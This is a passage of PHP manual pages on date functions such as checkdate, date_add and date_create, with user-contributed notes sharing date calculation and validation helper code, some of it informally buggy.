function workday($date, $begindate = TRUE) {
    $adate = getdate($date);
    $day = 24 * 60 * 60;
    if ($adate['wday'] == 0) // Sunday
        $date += $begindate ? $day : -($day * 2);
    elseif ($adate['wday'] == 6) // Saterday
        $date += $begindate ? $day * 2 : -$day;
    return $date;
}
?>
daniel at globalnetstudios dot com 08-Jun-2005 08:49
This dateDiff() function can take in just about any timestamp, including UNIX timestamps and anything that is accepted by strtotime(). It returns an array with the ability to split the result a couple different ways. I built this function to suffice any datediff needs I had. Hope it helps others too.

<?php
  /********* dateDiff() function **********
   * returns Array of Int values for difference between two dates
   * $date1 > $date2 --> positive integers are returned
   * $date1 < $date2 --> negative integers are returned
   *
   * $split recognizes the following:
   *   'yw' = splits up years, weeks and days (default)
   *   'y'  = splits up years and days
   *   'w'  = splits up weeks and days
   *   'd'  = total days
   *
   * examples:
   *   $dif1 = dateDiff() or dateDiff('yw')
   *   $dif2 = dateDiff('y')
   *   $dif3 = dateDiff('w')
   *   $dif4 = dateDiff('d')
   *
   * assuming dateDiff returned 853 days, the above
   * examples would have a print_r output of:
   *   $dif1 == Array( [y] => 2 [w] => 17 [d] => 4 )
   *   $dif2 == Array( [y] => 2 [d] => 123 )
   *   $dif3 == Array( [w] => 121 [d] => 6 )
   *   $dif4 == Array( [d] => 847 )
   *
   * note: [h] (hours), [m] (minutes), [s] (seconds) are always returned as elements of the Array
   */
  function dateDiff($dt1, $dt2, $split='yw') {
    $date1 = (strtotime($dt1) != -1) ? strtotime($dt1) : $dt1;
    $date2 = (strtotime($dt2) != -1) ? strtotime($dt2) : $dt2;
    $dtDiff = $date1 - $date2;
    $totalDays = intval($dtDiff/(24*60*60));
    $totalSecs = $dtDiff-($totalDays*24*60*60);
    $dif['h'] = $h = intval($totalSecs/(60*60));
    $dif['m'] = $m = intval(($totalSecs-($h*60*60))/60);
    $dif['s'] = $totalSecs-($h*60*60)-($m*60);
    // set up array as necessary
    switch($split) {
    case 'yw': # split years-weeks-days
      $dif['y'] = $y = intval($totalDays/365);
      $dif['w'] = $w = intval(($totalDays-($y*365))/7);
      $dif['d'] = $totalDays-($y*365)-($w*7);
      break;
    case 'y': # split years-days
      $dif['y'] = $y = intval($totalDays/365);
      $dif['d'] = $totalDays-($y*365);
      break;
    case 'w': # split weeks-days
      $dif['w'] = $w = intval($totalDays/7);
      $dif['d'] = $totalDays-($w*7);
      break;
    case 'd': # don't split -- total days
      $dif['d'] = $totalDays;
      break;
    default:
      die("Error in dateDiff(). Unrecognized \$split parameter. Valid values are 'yw', 'y', 'w', 'd'. Default is 'yw'.");
    }
    return $dif;
  }
?>
mail at completeideas dot com 06-Jun-2005 10:55
For those who are using pre MYSQL 4.1.1, you can use:

TO_DAYS([Date Value 1])-TO_DAYS([Date Value 2])

For the same result as:

DATEDIFF([Date Value 1],[Date Value 2])
mincklerstraat at softhome dot net 11-Oct-2004 10:43
Before you get too advanced using date functions, be sure also to see the calendar functions at http://www.php.net/manual/en/ref.calendar.php .
nickaubert at america's biggest isp dot com 12-Apr-2004 10:13
I ran into an issue using a function that loops through an array of dates where the keys to the array are the Unix timestamp for midnight for each date.  The loop starts at the first timestamp, then incremented by adding 86400 seconds (ie. 60 x 60 x 24).  However, Daylight Saving Time threw off the accuracy of this loop, since certain days have a duration other than 86400 seconds.  I worked around it by adding a couple of lines to force the timestamp to midnight at each interval.

<?php
  $ONE_DAY = 90000;   // can't use 86400 because some days have one hour more or less
  for ( $each_timestamp = $start_time ; $each_timestamp <= $end_time ; $each_timestamp +=  $ONE_DAY) {

    /*  force midnight to compensate for daylight saving time  */
    $this_timestamp_array = getdate( $each_timestamp );
    $each_timestamp = mktime ( 0 , 0 , 0 , $this_timestamp_array[mon] , $this_timestamp_array[mday] , $this_timestamp_array[year] );

     // do some stuff...
  }
?>
php at sarge dot ch 28-Jan-2004 01:58
Additional thisone here (didn't test it yet but should work :D):

<?php
/**
 * Calculates the Difference between two timestamps
 *
 * @param integer $start_timestamp
 * @param integer $end_timestamp
 * @param integer $unit (default 0)
 * @return string
 * @access public
 */
function dateDifference($start_timestamp,$end_timestamp,$unit= 0){
  $days_seconds_star= (23 * 56 * 60) + 4.091; // Star Day
  $days_seconds_sun= 24 * 60 * 60; // Sun Day
  $difference_seconds= $end_timestamp - $start_timestamp;
  switch($unit){
    case 3: // Days
      $difference_days= round(($difference_seconds / $days_seconds_sun),2);
      return 'approx. '.$difference_hours.' Days';
    case 2: // Hours
      $difference_hours= round(($difference_seconds / 3600),2);
      return 'approx. '.$difference_hours.' Hours';
    break;
    case 1: // Minutes
      $difference_minutes= round(($difference_seconds / 60),2);
      return 'approx. '.$difference_minutes.' Minutes';
    break;
    default: // Seconds
      if($difference_seconds > 1){
        return $difference_seconds.' Seconds';
      }
      else{
        return $difference_seconds.' Second';
      }
  }
}
?>
php at elmegil dot net 20-Dec-2003 07:40
A much easier way to do days diff is to use Julian Days from the Calendar functions:

$start = gregoriantojd($smon, $sday, $syear);
$end = gregoriantojd($emon, $eday, $eyear);
$daysdiff = $end - $start;

You can see the obvious ways to wrap a function around that.
garyc at earthling dot net 19-Mar-2003 05:08
I needed to calculate the week number from a given date and vice versa, where the week starts with a Monday and the first week of a year may begin the year before, if the year begins in the middle of the week (Tue-Sun). This is the way weekly magazines calculate their issue numbers.

Here are two functions that do exactly that:

Hope somebody finds this useful.

Gary

<?php
/*  w e e k n u m b e r  -------------------------------------- //
weeknumber returns a week number from a given date (>1970, <2030)
Wed, 2003-01-01 is in week 1
Mon, 2003-01-06 is in week 2
Wed, 2003-12-31 is in week 53, next years first week
Be careful, there are years with 53 weeks.
// ------------------------------------------------------------ */

function weeknumber ($y, $m, $d) {
    $wn = strftime("%W",mktime(0,0,0,$m,$d,$y));
    $wn += 0; # wn might be a string value
    $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
    if ($firstdayofyear["wday"] != 1)    # if 1/1 is not a Monday, add 1
        $wn += 1;
    return ($wn);
}    # function weeknumber

/*  d a t e f r o m w e e k  ---------------------------------- //
From a weeknumber, calculates the corresponding date
Input: Year, weeknumber and day offset
Output: Exact date in an associative (named) array
2003, 12, 0: 2003-03-17 (a Monday)
1995,  53, 2: 1995-12-xx
...
// ------------------------------------------------------------ */

function datefromweek ($y, $w, $o) {

    $days = ($w - 1) * 7 + $o;

    $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
    if ($firstdayofyear["wday"] == 0) $firstdayofyear["wday"] += 7;
# in getdate, Sunday is 0 instead of 7
    $firstmonday = getdate(mktime(0,0,0,1,1-$firstdayofyear["wday"]+1,$y));
    $calcdate = getdate(mktime(0,0,0,$firstmonday["mon"], $firstmonday["mday"]+$days,$firstmonday["year"]));

    $date["year"] = $calcdate["year"];
    $date["month"] = $calcdate["mon"];
    $date["day"] = $calcdate["mday"];

    return ($date);

}    # function datefromweek
?>
brighn (a) yahoo (.) com 03-Jan-2003 06:46
I needed a function that determined the last Sunday of the month. Since it's made for the website's "next meeting" announcement, it goes based on the system clock; also, if today is between Sunday and the end of the month, it figures out the last Sunday of *next* month. lastsunday() takes no arguments and returns the date as a string in the form "January 26, 2003". I could probably have streamlined this quite a bit, but at least it's transparent code. =)

<?php
  /* The two functions calculate when the next meeting will
     be, based on the assumption that the meeting will be on
     the last Sunday of the month. */

  function getlast($mon, $year) {
    $daysinmonth = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
    $days = $daysinmonth[$mon-1];
    if ($mon == 2 && ($year % 4) == 0 && (($year % 100) != 0 ||
    ($year % 400) == 0)) $days++;
    if ($mon == 2 && ($year % 4) == 0 && ($year % 1000) != 0) $days++;
    $lastday = getdate(mktime(0,0,0,$mon,$days,$year));
    $wday = $lastday['wday'];
    return getdate(mktime(0,0,0,$mon,$days-$wday,$year));
  }

  function lastsunday() {
    $today = getdate();
    $mon = $today['mon'];
    $year = $today['year'];
    $mday = $today['mday'];
    $lastsun = getlast($mon, $year);
    $sunday = $lastsun['mday'];
    if ($sunday < $mday) {
      $mon++;
      if ($mon = 13) {
        $mon = 1;
        $year++;
      }
      $lastsun = getlast($mon, $year);
      $sunday = $lastsun['mday'];
    }
    $nextmeeting = getdate(mktime(0,0,0,$mon,$sunday,$year));
    $month = $nextmeeting['month'];
    $mday = $nextmeeting['mday'];
    $year = $nextmeeting['year'];
    return "$month $mday, $year";
  }
?>
nightowl at NOS-PA-M dot uk2 dot net 30-Jul-2002 07:59
I wanted to find all records in my database which match the current week (for a call-back function). I made up this function to find the start and end of the current week :

<?php
function week($curtime) {

    $date_array = getdate (time());
    $numdays = $date_array["wday"];

    $startdate = date("Y-m-d", time() - ($numdays * 24*60*60));
    $enddate = date("Y-m-d", time() + ((7 - $numdays) * 24*60*60));

    $week['start'] = $startdate;
    $week['end'] = $enddate;

    return $week;

}
?>
php-contrib at i-ps dot nospam dot net 30-Jan-2002 03:07
Someone may find this info of some use:

Rules for calculating a leap year:

1) If the year divides by 4, it is a leap year (1988, 1992, 1996 are leap years)
2) Unless it divides by 100, in which case it isn't (1900 divides by 4, but was not a leap year)
3) Unless it divides by 400, in which case it is actually a leap year afterall (So 2000 was a leap year).

In practical terms, to work out the number of days in X years, multiply X by 365.2425, rounding DOWN to the last whole number, should give you the number of days.

The result will never be more than one whole day inaccurate, as opposed to multiplying by 365, which, over more years, will create a larger and larger deficit.
th at definitynet dot com 11-Jan-2001 08:00
I had some problems with dates between mySQL and PHP.  PHP had all these great date functions but I wanted to store a usable value in my database tables. In this case I was using TIMESTAMP(14)  <or 'YYYYMMDDHHMMSS'>.
This is perhaps the easiest way I have found to pull the PHP usable UNIX Datestamp from my mySQL datestamp stored in the tables:

Use the mySQL UNIX_TIMESTAMP() function in your SQL definition string. i.e.

$sql= "SELECT field1, field2, UNIX_TIMESTAMP(field3) as your_date
          FROM your_table
          WHERE field1 = '$value'";

The query will return a temp table with coulms "field1" "Field2" "your_date"

The "your_date" will be formatted in a UNIX TIMESTAMP!  Now you can use the PHP date() function to spew out nice date formats.

Sample using above $sql:
20010111002747  = Date Stored on mySQL table (TIMESTAMP(14))
979172867  = value returned as your_date in sql stmt (UNIX_TIMESTAMP)

if we use $newdate = date("F jS, Y -- g:ia", $row["your_date"]);
   --(after fetching our array from the sql results of course)--

echo "$newdate";              --Will produce:
January 11th, 2001 -- 12:27am

Hope this helps someone out there!


Validate a Gregorian date

  • « Date/Time Functions
  • date_add »
  • PHP Manual
  • Date/Time Functions
  • Validate a Gregorian date

checkdate

(PHP 4, PHP 5)

checkdate — Validate a Gregorian date

Description

bool checkdate ( int $month , int $day , int $year )

Checks the validity of the date formed by the arguments. A date is considered valid if each parameter is properly defined.

Parameters

month

The month is between 1 and 12 inclusive.

day

The day is within the allowed number of days for the given month. Leap years are taken into consideration.

year

The year is between 1 and 32767 inclusive.

Return Values

Returns TRUE if the date given is valid; otherwise returns FALSE.

Examples

Example #1 checkdate() example

<?php
var_dump(checkdate(12, 31, 2000));
var_dump(checkdate(2, 29, 2001));
?>

The above example will output:

bool(true)
bool(false)

See Also

  • mktime() - Get Unix timestamp for a date
  • strtotime() - Parse about any English textual datetime description into a Unix timestamp

User Contributed Notes

SDSurfer 17-Oct-2014 01:07
Super graceful solution by glavic and the mod by Bas - the only thing I would add is if you have user input, you have the potential for really munged up values for date which can throw exceptions. Add a try/catch:

    if (((int) $version[0] >= 5 && (int) $version[1] >= 2 && (int) $version[2] > 17)) {
        try {  $d = DateTime::createFromFormat($format, $date); }
        catch (Exception $e) {
            if ($debug) { echo "Invalid date: " . $e->getMessage() . "<br>\n"; }
            return false;
        }
    } else {
        try { $d = new DateTime(date($format, strtotime($date))); }
        catch (Exception $e) {
            if ($debug) { echo "Invalid date: " . $e->getMessage() . "<br>\n"; }
            return false;
        }
    }
Bas 20-Feb-2014 08:59
And here is a version which will work for PHP 5.2 also.

function ValidateDate($date, $format = 'Y-m-d H:i:s') {
    $version = explode('.', phpversion());
    if (((int) $version[0] >= 5 && (int) $version[1] >= 2 && (int) $version[2] > 17)) {
        $d = DateTime::createFromFormat($format, $date);
    } else {
        $d = new DateTime(date($format, strtotime($date)));
    }
    return $d && $d->format($format) == $date;
}
jdiosdado 05-Dec-2013 06:54
There is an issue with glavic at gmail dot com answer:

var_dump(validateDate('9/21/1943', ''m/d/Y''));

The result will be false. 09/21/1943  =! 9/21/1943
glavic at gmail dot com 12-Sep-2013 09:46
With DateTime you can make the shortest date&time validator for all formats.

<?php

function validateDate($date, $format = 'Y-m-d H:i:s')
{
    $d = DateTime::createFromFormat($format, $date);
    return $d && $d->format($format) == $date;
}

var_dump(validateDate('2012-02-28 12:12:12')); # true
var_dump(validateDate('2012-02-30 12:12:12')); # false
var_dump(validateDate('2012-02-28', 'Y-m-d')); # true
var_dump(validateDate('28/02/2012', 'd/m/Y')); # true
var_dump(validateDate('30/02/2012', 'd/m/Y')); # false
var_dump(validateDate('14:50', 'H:i')); # true
var_dump(validateDate('14:77', 'H:i')); # false
var_dump(validateDate(14, 'H')); # true
var_dump(validateDate('14', 'H')); # true

var_dump(validateDate('2012-02-28T12:12:12+02:00', 'Y-m-d\TH:i:sP')); # true
# or
var_dump(validateDate('2012-02-28T12:12:12+02:00', DateTime::ATOM)); # true

var_dump(validateDate('Tue, 28 Feb 2012 12:12:12 +0200', 'D, d M Y H:i:s O')); # true
# or
var_dump(validateDate('Tue, 28 Feb 2012 12:12:12 +0200', DateTime::RSS)); # true
var_dump(validateDate('Tue, 27 Feb 2012 12:12:12 +0200', DateTime::RSS)); # false
# ...
admin at limitsizbilgi dot com 16-Jul-2013 11:40
function DDC($dates){ // Date Day Control
    $dy = substr($dates,0,4);
    $dm = substr($dates,5,2);
    $dd = substr($dates,8,2);
    for($i=0; $i<3; $i++){
        if(!checkdate($dm,$dd,$dy)){
            $dd--;
        }else{$i=3;}
    }
    return $dy.'.'.$dm.'.'.$dd;
}
echo DDC('2013.02.31');
//2013.02.28
mohammed dot aas2012 at gmail dot com 07-Nov-2012 08:23
format should be in array like: array("m","d","y")

<?php
function isValidDate($strDate,$format,$ex) {
      $valid = false;
      if(is_array($format) && count($format) == 3 && count(explode($ex,$strDate))==3)
      {
         $date = array_combine($format,explode($ex,$strDate));
         if(intval($date['m']) && intval($date['d']) && intval($date['y'])){
            $m = $date['m']; $d = $date['d']; $y = $date['y'];
            $valid = checkdate($m,$d,$y);
         }
      }
      return $valid;
   }
?>
bharath.kishore.a AT gmail. DOT com 07-Mar-2012 11:00
Here is another crooked way to check if given data is valid DATETIME or not.

function checkDateTime($data) {
    if (date('Y-m-d H:i:s', strtotime($data)) == $data) {
        return true;
    } else {
        return false;
    }
}
rfeugenio at gmail dot com 27-Mar-2009 07:21
<?php

// This is a simple function that will get the last day of the month.

function GetLastDayofMonth($year, $month) {
    for ($day=31; $day>=28; $day--) {
        if (checkdate($month, $day, $year)) {
            return $day;
        }
    }
}

?>
James Luckhurst 23-Mar-2009 01:26
<?php
/*
## converts a given date format to another date format returns date if the checked date given is valid; otherwise returns NULL
## $s_date the date in e.g. dd/mm/yyyy
## $s_from, $s_to date formats from to i.e. convertdate('13/04/2009','eng','iso','-'); output: 2009-04-13
## date formats available
## 'eng' = dd/mm/yyyy
## 'usa' = mm/dd/yyyy
## 'iso' = yyyy/mm/dd
## $s_return_delimiter returned delimiter e.g. '-' would return dd-mm-yyyy
*/
function convertdate($s_date,$s_from,$s_to,$s_return_delimiter) {

    $s_return_date = '';
    $s_from = strtolower($s_from);
    $s_to = strtolower($s_to);
    $s_date = str_replace(array('\'', '-', '.', ',', ' '), '/', $s_date);
    $a_date = explode('/', $s_date);

    switch($s_from) {
        case 'eng': # dd/mm/yyyy
            $day = $a_date[0];
            $month = $a_date[1];
            $year = $a_date[2];
        break;
        case 'usa':  # mm/dd/yyyy
            $month = $a_date[0];
            $day = $a_date[1];
            $year = $a_date[2];
        break;
        case 'iso': # yyyy/mm/dd
            $year = $a_date[0];
            $month = $a_date[1];
            $day = $a_date[2];
        break;
        default: # error message
            user_error('function convertdate(string $s_date, string $s_from, string $s_to, string $s_return_delimiter) $s_from not a valid type of \'eng\', \'usa\' or \'iso\'');
            return NULL;
    }

    # substitution fixes of valid alternative human input e.g. 1/12/08
    if (strlen($day)==1) { $day='0'.$day; } # day -trailing zero missing
    if (strlen($month)==1) { $month='0'.$month; } # month -trailing zero missing
    if (strlen($year)==3) { $year=substr(date('Y'),0,strlen(date('Y'))-3).$year; } # year -millennium missing
    if (strlen($year)==2) { $year=substr(date('Y'),0,strlen(date('Y'))-2).$year; } # year -century missing
    if (strlen($year)==1) { $year=substr(date('Y'),0,strlen(date('Y'))-1).$year; } # year -decade missing

    switch($s_to) {
        case 'eng': # dd/mm/yyyy
            $s_return_date = $day.$s_return_delimiter.$month.$s_return_delimiter.$year;
        break;
        case 'usa':  # mm/dd/yyyy
            $s_return_date = $month.$s_return_delimiter.$day.$s_return_delimiter.$year;
        break;
        case "iso": # yyyy/mm/dd
            $s_return_date = $year.$s_return_delimiter.$month.$s_return_delimiter.$day;
        break;
        default: # error message
            user_error('function convertdate(string $s_date, string $s_from, string $s_to, string $s_return_delimiter) $s_to not a valid type of \'eng\', \'usa\' or \'iso\'');
            return NULL;
    }

    # if it's an invalid calendar date e.g. 40/02/2009 or rt/we/garbage
    if (!is_numeric($month) || !is_numeric($day) || !is_numeric($year)) {
        return NULL;
    } elseif (!checkdate($month, $day, $year)) {
        return NULL;
    }

    return $s_return_date;
}

echo convertdate('13/04/2009','eng','iso','-');
?>
ystein M 18-Mar-2009 02:51
I think there is an error in the function from bmauser below. $regexp is overwritten. Here's another version which also accepts missing zeros and two digits year notation.

This function checks date if matches given format and validity of the date.

<?php
/**
 * Checks date if matches given format and validity of the date.
 * Examples:
 * <code>
 * is_date('22.22.2222', 'mm.dd.yyyy'); // returns false
 * is_date('11/30/2008', 'mm/dd/yyyy'); // returns true
 * is_date('30-01-2008', 'dd-mm-yyyy'); // returns true
 * is_date('2008 01 30', 'yyyy mm dd'); // returns true
 * </code>
 * @param string $value the variable being evaluated.
 * @param string $format Format of the date. Any combination of <i>mm<i>, <i>dd<i>, <i>yyyy<i>
 * with single character separator between.
 */
function is_valid_date($value, $format = 'dd.mm.yyyy'){
    if(strlen($value) >= 6 && strlen($format) == 10){

        // find separator. Remove all other characters from $format
        $separator_only = str_replace(array('m','d','y'),'', $format);
        $separator = $separator_only[0]; // separator is first character

        if($separator && strlen($separator_only) == 2){
            // make regex
            $regexp = str_replace('mm', '(0?[1-9]|1[0-2])', $format);
            $regexp = str_replace('dd', '(0?[1-9]|[1-2][0-9]|3[0-1])', $regexp);
            $regexp = str_replace('yyyy', '(19|20)?[0-9][0-9]', $regexp);
            $regexp = str_replace($separator, "\\" . $separator, $regexp);
            if($regexp != $value && preg_match('/'.$regexp.'\z/', $value)){

                // check date
                $arr=explode($separator,$value);
                $day=$arr[0];
                $month=$arr[1];
                $year=$arr[2];
                if(@checkdate($month, $day, $year))
                    return true;
            }
        }
    }
    return false;
}
?>

[NOTE BY danbrown AT php DOT net: Original function was written by (bmauser AT gmail) on 16-DEC-2008.]
sebagr@gmail 04-Mar-2009 06:20
Here's a nice snippet to check if user input is valid:

<?php

$date_format = 'Y-m-d';
$input = '2009-03-03';

$input = trim($input);
$time = strtotime($input);

$is_valid = date($date_format, $time) == $input;

print "Valid? ".($is_valid ? 'yes' : 'no');

?>
venadder at yahoo dot ca 22-Jan-2009 07:49
Here is a simple IsDate function, using purely PHP functions( A Check for $Stamp can be added to see if it's a legal Unix timestamp ):

<?php
function IsDate( $Str )
{
  $Stamp = strtotime( $Str );
  $Month = date( 'm', $Stamp );
  $Day   = date( 'd', $Stamp );
  $Year  = date( 'Y', $Stamp );

  return checkdate( $Month, $Day, $Year );
}
?>
a34 at yahoo dot com 09-Jul-2007 02:21
checkData function posted below does not consider a date entered such as 03/27c/2000.   The c will cause it to crash.  Here is the fix.

<?php
function checkData($mydate) {

    list($yy,$mm,$dd)=explode("-",$mydate);
    if (is_numeric($yy) && is_numeric($mm) && is_numeric($dd))
    {
        return checkdate($mm,$dd,$yy);
    }
    return false;
}
?>


Alias of DateTime::add

  • « checkdate
  • date_create_from_format »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::add

date_add

(PHP 5 >= 5.3.0)

date_add — Alias of DateTime::add()

Description

This function is an alias of: DateTime::add()

User Contributed Notes

antony at harrisretail dot co dot uk 15-Apr-2014 09:09
When using DateTime::add() be careful that additions over Summertime changes will not always produce the expected results.  For instance, adding a day (interval = P1D) is probably expected to keep the same time when added to a date even over a summertime change. But adding 24 hours (interval = PT24H) does not seem to take into effect the time change.

When then checking the time difference after adding 24 hours after the clocks went forward, the time difference is only 23 hours.

<?php
date_default_timezone_set('Europe/London');

$diff1Day = new DateInterval('P1D');
$diff24Hours = new DateInterval('PT24H');
$diff1440Minutes = new DateInterval('PT1440M');

// Clocks changed at 2014-03-30 02:00:00

$d0 = new DateTime('2014-03-29 08:00:00');

$d1 = new DateTime('2014-03-29 08:00:00');
// Add 1 day - expect time to remain at 08:00
$d1->add($diff1Day);
print_r($d1);

$d2 = new DateTime('2014-03-29 08:00:00');
// Add 24 hours - expect time to be 09:00
$d2->add($diff24Hours);
print_r($d2);

$seconds = $d1->getTimestamp() - $d0->getTimestamp();
echo "Difference in Hours: " . $seconds / (60 * 60) . "\n";
detain at interserver dot net 18-Aug-2013 02:41
<?php
function mysql_date_add($now = null, $adjustment )
{
        // normal mysql format is:   date_add(now(), INTERVAL 1 MONTH)
        // its close to the strtotime() format, but we need to make a few adjustments
        // first we lowercase everything, not sure if this is needed but it seems
        // to be both mysql conventions to be capitalized and php to lowercase this, so
        // i follow suit.
        $adjustment = strtolower($adjustment);
        // next we want to get rid of the INTERVAL part, as neither it nor a corrisponding
        // keyword used in the strtotime() function.   remmeber its lowercase now.
        $adjustment = str_replace('interval', '', $adjustment);
        // now the adjustment is suppsoed to have a + or - next to it to indicate direction
        // since strtotime() can be used to go both ways.  We want to tack this one, but first
        // strip any white space off the begining of the $adjustment so we dont wind up with like
        //  +     1         when we need    +1
        $adjustment = '+' . trim($adjustment);
        // we should now be left with something like '+1 month'  which is valid strtotime() syntax!
        // next we need to handle the $now, normally people would pass now() if they want the current
        // time or a datetime/timestamp.    We will need to account for this as well, we also
        // want to make use of having a default to now() type of behavior.    we want to also
        // trim and lowercase what they send us just to make it easier to compair to
        if (is_null($now) || strtolower(trim($now)) == 'now()')
        {
                // defaulted to or requested a the current time
                $now = time();
        }
        else
        {
                // here we are splitting out each part of the mysql timestamp , and storing it in the $parts array
                 preg_match('/([0-9]{4})-([0-9]{2})-([0-9]{2}) ([0-9]{2}):([0-9]{2}):([0-9]{2})/', $now, $parts);
                // now we use each of the parts to generate a timestamp from it
                $now = mktime($parts[4], $parts[5], $parts[6], $parts[2], $parts[3], $parts[1]);
        }
        // now we finally call strtotime() with the properly formatted text and get the date/time
        // calculates done.  I specify its returned as an integer to make things play more nicely
        // with eachother in case the conversion fails.
        $timestamp = (integer)strtotime($adjustment, $now);
        // finally we have the timestamp of the adjusted date nowe we just convert it back to the mysql
        // format and send it back to them.
        return date('Y-m-d H:i:s', $timestamp);
}
?>
lanlife4real 10-Jan-2010 12:19
This function allows the addition of day(s),month(s),year(s) to the original date while still preserving the Hours, minutes and seconds
You can also modify to add to hours, miuntes and even seconds.

<?php
function add_date($givendate,$day=0,$mth=0,$yr=0) {
      $cd = strtotime($givendate);
      $newdate = date('Y-m-d h:i:s', mktime(date('h',$cd),
    date('i',$cd), date('s',$cd), date('m',$cd)+$mth,
    date('d',$cd)+$day, date('Y',$cd)+$yr));
      return $newdate;
              }

?>
Hyun Woo Shin 27-Mar-2009 08:32
Just add month(s) on the orginal date.

<?php
function add_date($orgDate,$mth){
  $cd = strtotime($orgDate);
  $retDAY = date('Y-m-d', mktime(0,0,0,date('m',$cd)+$mth,date('d',$cd),date('Y',$cd)));
  return $retDAY;
}
?>
raph 09-Sep-2008 11:37
A little function to add 2 time lenghts. Enjoy !

<?php
function AddPlayTime ($oldPlayTime, $PlayTimeToAdd) {

    $pieces = split(':', $oldPlayTime);
    $hours=$pieces[0];
    $hours=str_replace("00","12",$hours);
    $minutes=$pieces[1];
    $seconds=$pieces[2];
    $oldPlayTime=$hours.":".$minutes.":".$seconds;

    $pieces = split(':', $PlayTimeToAdd);
    $hours=$pieces[0];
    $hours=str_replace("00","12",$hours);
    $minutes=$pieces[1];
    $seconds=$pieces[2];

    $str = $str.$minutes." minute ".$seconds." second" ;
    $str = "01/01/2000 ".$oldPlayTime." am + ".$hours." hour ".$minutes." minute ".$seconds." second" ;

    // Avant PHP 5.1.0, vous devez comparer avec  -1, au lieu de false
    if (($timestamp = strtotime($str)) === false) {
        return false;
    } else {
        $sum=date('h:i:s', $timestamp);
        $pieces = split(':', $sum);
        $hours=$pieces[0];
        $hours=str_replace("12","00",$hours);
        $minutes=$pieces[1];
        $seconds=$pieces[2];
        $sum=$hours.":".$minutes.":".$seconds;

        return $sum;

    }
}

$firstTime="00:03:12";
$secondTime="02:04:34";

$sum=AddPlayTime($firstTime,$secondTime);
if ($sum!=false) {
    echo $firstTime." + ".$secondTime." === ".$sum;
}
else {
    echo "failed";
}
?>


Alias of DateTime::createFromFormat

  • « date_add
  • date_create_immutable_from_format »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::createFromFormat

date_create_from_format

(PHP 5 >= 5.3.0)

date_create_from_format — Alias of DateTime::createFromFormat()

Description

This function is an alias of: DateTime::createFromFormat()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateTimeImmutable::createFromFormat

  • « date_create_from_format
  • date_create_immutable »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTimeImmutable::createFromFormat

date_create_immutable_from_format

(PHP 5 >= 5.5.0)

date_create_immutable_from_format — Alias of DateTimeImmutable::createFromFormat()

Description

This function is an alias of: DateTimeImmutable::createFromFormat()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateTimeImmutable::__construct

  • « date_create_immutable_from_format
  • date_create »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTimeImmutable::__construct

date_create_immutable

(PHP 5 >= 5.5.0)

date_create_immutable — Alias of DateTimeImmutable::__construct()

Description

This function is an alias of: DateTimeImmutable::__construct()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateTime::__construct

  • « date_create_immutable
  • date_date_set »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTime::__construct

date_create

(PHP 5 >= 5.2.0)

date_create — Alias of DateTime::__construct()

Description

This function is an alias of: DateTime::__construct()

User Contributed Notes

tienhm at email dot thinknet dot vn 10-Feb-2014 01:43
The construct have some problem with date validate.

When you set
$datetime = DateTime::createFromFormat('Y-m-d H:i:s','2009-02-30 00:00:00');

it will be accepted but convert to 2009-03-02 00:00:00, it means the date was count on and plus 2 days
Andrew 25-Nov-2013 08:55
Indeed as mentioned above the constructor for DateTime  will allow the day of month upto 31 to be accepted for all months of the year. You should use checkdate if you wish to check that the day of the month represents a valid gregorian calendar date.
Marton Bodonyi 02-Feb-2013 01:34
If you are getting an error like this:

Exception: DateTime::__construct(): Failed to parse time string (13/02/2013) at position 0 (1): Unexpected character in DateTime->__construct()

Note that when you create a new date object using a format with slashes and dashes (eg 02-02-2012 or 02/02/2012) it must be in the mm/dd/yy(yy) or mm-dd-yy(yy) format (rather than british format dd/mm/yy)! Months always before years (the american style) otherwise you'll get an incorrect date and may get an error like the one above (where PHP is crashing on trying to decode a 13th month).

Can catch you off guard because everything seems to be working fine and dandy until you hit a value over 12.
php at andysdrawings dot co dot uk 17-May-2012 12:21
DateTime will recognise any number up to 12 as a [month], and any number up to 31 as a [day]; it calculates the resulting date to be [day] days after the start of [month].  This means that when a datetime object is created with more days than are found in that month, the date will be beyond the end of the month.

<?php
  $test = new DateTime('02/31/2011');
  echo date_format($test, 'Y-m-d H:i:s'); // 2011-03-03 00:00:00
  $test = new DateTime('06/31/2011');
  echo date_format($test, 'Y-m-d H:i:s'); // 2011-07-01 00:00:00
?>
me at jameswdunne dot com 17-Jul-2011 01:12
You should also be aware that DateTime has very lax date validation rules. It appears that all months have a maximum of 31 days.

For example, these will work fine:

<?php
  $test = new DateTime('02/31/2011');
  $test = new DateTime('06/31/2011');
?>

We all know that these dates are not real and are invalid so I think a good idea is to do some further validation on dates before creating a DateTime object with them.
djspillers at mac dot com 19-Aug-2008 09:29
Looks like the DateTime class does not exist in my PHP 5.1.5 installation. The only documentation I can find says this class shows up in PHP 5.2
Dok 05-Jul-2007 04:52
If you want to create the DateTime object directly from a timestamp use this

<?php
$st = 1170288000 //  a timestamp
$dt = new DateTime("@$st");
?>

See also: http://bugs.php.net/bug.php?id=40171
artur at jedlinski dot pl 19-Apr-2007 02:47
"String in a format accepted by strtotime()" is not 100% truth - you cannot pass timezone info in the string used as DateTime constructor, while you can do it with strtotime(). It may be a problem if you would like to create a date from GMT time and then display it in your local timezone, for example:

<?php
    $timeZone = 'Europe/Warsaw';  // +2 hours
    date_default_timezone_set($timeZone);

    $dateSrc = '2007-04-19 12:50 GMT';
    $dateTime = new DateTime($dateSrc);

    echo 'date(): '.date('H:i:s', strtotime($dateSrc));
    // correct! date(): 14:50:00

    echo 'DateTime::format(): '.$dateTime->format('H:i:s');
    // INCORRECT! DateTime::format(): 12:50:00
?>

[red. your claim that "is not 100% truth" is incorrect, you're seeing desired behavior here. The timezone passed as 2nd argument is used as a default fall back, in case the parsed string doesn't provide TZ information.]

So if you want to convert date between different timezones, you have to create two DateTimeZone objects - one for the input and one for output, like this:

<?php
    $timeZone = 'Europe/Warsaw';  // +2 hours
    $dateSrc = '2007-04-19 12:50';

